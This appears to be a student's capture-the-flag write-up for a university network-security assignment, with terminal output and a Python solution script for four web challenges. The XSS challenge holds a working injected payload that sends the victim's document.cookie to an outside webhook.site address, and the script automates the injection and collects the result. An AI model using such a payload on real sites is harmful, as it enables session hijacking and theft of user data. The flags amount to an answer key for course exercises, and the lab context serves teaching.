

CS 431: Computer and Network Security Assignment 4

InsIIT — python3 solution.py 1

Flag : `cns431{you_snoopy_doo_didnt_i_tell_you_to_get_off_my_lawn}`

(Note: while copying the flag, underscores are not copied. Some latex issue)

We check the `/robots.txt` file, and find a disallowed path (`/fade/to/black`), which led to the flag.

oreo — python3 solution.py 2

Flag : `ican{lick_twi5t_dunk}`

(Note: while copying the flag, underscores are not copied. Some latex issue)

The challenge name and text on the webpage hints at using some cookies. We observe the cookies (first, using the extension, Edit This Cookie, later using Cookie object in requests module.) The server used base64-encoded cookies. We notice that the flavor is set to, 'strawberry'. We change it to 'chocolate' (base 64 encoded). Refreshing the page, gives us the flag.

events — python3 solution.py 3

Flag : `br@V0---{yoU_F0und_m3}`

(Note: while copying the flag, underscores are not copied. Some latex issue)

The flag was hidden in a CSS file as a comment. By fetching the file and extracting the comment, the flag was obtained.

CNSxSS — python3 solution.py 4

Flag : `cns431_d4ng3r_n0_validation_xss`

(Note: while copying the flag, underscores are not copied. Some latex issue)

We observed that, we can get arbitrary Javascript injection, by passing in `"; arbitrary_javascript; //`. We make a small webhook using `https://webhook.site/`, then send a payload which creates a new image, with source being `'webhook.site/blahblah?k=blah'`. Then we send this to overlords. When the overlords open the page, the code tries to get the url specified, and we can see the exact request at `https://webhook.site/` interface. We see the request's headers, and we get the flag.

```
C:\Users\GSRAJA\Desktop\IIT GN\sem6\CS 431\Assignments\Assignment 4>python solution.py 1
Problem: InsIIT
/robots.txt

# Hey there, you're not a robot, yet I see you sniffing through this file.
# SEO you later!
# Now get off my lawn.

Disallow: /fade/to/black

--
/fade/to/black

Flag: cns431{you_snoopy_doo_didnt_i_tell_you_to_get_off_my_lawn}

C:\Users\GSRAJA\Desktop\IIT GN\sem6\CS 431\Assignments\Assignment 4>python solution.py 3
Problem: events
Getting the style.css file
Flag: br@V0---{yoU_F0und_m3}
```

```
C:\Users\GSRAJA\Desktop\IIT GN\sem6\CS 431\Assignments\Assignment 4>python solution.py 2
Problem: oreo
Current Cookies:
[('flavour', 'c3RyYXdiZXJyeQ%3D')]

Decoded flavour: strawberry

Cookies changed:
[('flavour', 'Y2hvY29sYXR1')]

Decoded flavour: chocolate

Flag: ican{lick_twi5t_dunk}

C:\Users\GSRAJA\Desktop\IIT GN\sem6\CS 431\Assignments\Assignment 4>python solution.py 4
Problem: CNSxSS
Payload crafted: "; new Image().src = "https://webhook.site/ead11dd3-e062-4e77-9a24-d141b5cee647k="+btoa(document.cookie);//
Getting headers after XSS
Flag: cns431_d4ng3r_n0_validation_xss

C:\Users\GSRAJA\Desktop\IIT GN\sem6\CS 431\Assignments\Assignment 4>
```

Source Code: solution.py

```
import sys, base64, re, time
import requests # pip install requests
from urllib.parse import unquote,quote

def problem1():
    print("Problem: InsIIT")
    robots = requests.get('http://10.0.118.48:9999/robots.txt').text
    print(f"/robots.txt\n{robots}\n")
    path = robots.split('Disallow: ')[-1].strip()
    print(f'--\n{path}\n')
    print(f"Flag: ",end='')
    print(requests.get(f'http://10.0.118.48:9999{path}').text)

def problem2():
    print("Problem: oreo")
    sess = requests.session()
    sess.get('http://10.0.118.48:8888/')
    cur_cookies = sess.cookies.items()
    print(f"Current Cookies:\n{cur_cookies}\n\nDecoded flavour: {base64.b64decode(unquote(cur_cookies[0][1])).encode().decode()}")
    sess.cookies.pop('flavour', None)
    sess.cookies.set('flavour',quote(base64.b64encode('chocolate'.encode()).decode()))
    changed = sess.cookies.items()
    print(f"\nCookies changed:\n{changed}\n\nDecoded flavour: {base64.b64decode(unquote(changed[0][1])).encode().decode()}")
    print(f"\nFlag: {sess.get('http://10.0.118.48:8888/').text}")

def problem3():
    print("Problem: events")
    print("Getting the style.css file")
    t = requests.get('http://10.0.118.48:7777/static/style.css').text
    matches = re.findall(r'\n\*(.*)\*\n',t)
    print(f"Flag: {matches[0].strip()}")

def problem4():
    print("Problem: CNSxSS")
    server = "http://10.0.118.48:4444"
    uuid = requests.post("https://webhook.site/token").json()['uuid']
    sess = requests.Session()
    data = {"content": f''; new Image().src = "https://webhook.site/{uuid}?k="+btoa(document.cookie);//'}
    print(f"Payload crafted: {data['content']}")
    r = sess.post(server,data=data,allow_redirects=True)
    message_uuid = r.url.rstrip('/').split('/')[1]
    time.sleep(2)
    sess.post(f"http://10.0.118.48:4444/report/{message_uuid}",allow_redirects=True)
    print(f"Getting headers after XSS")
    time.sleep(100)
    log = requests.get(f"https://webhook.site/token/{uuid}/requests?sorting=newest").json()
    print(f"Flag: {log['data'][0]['user_agent'].split('=')[1]}")

if __name__ == "__main__":
    n = sys.argv
    if len(n) != 2:
        print(f"Usage solution.py <problem_id>")
        exit()
    prob = int(n[1])
    exec(f"problem{prob}()")
```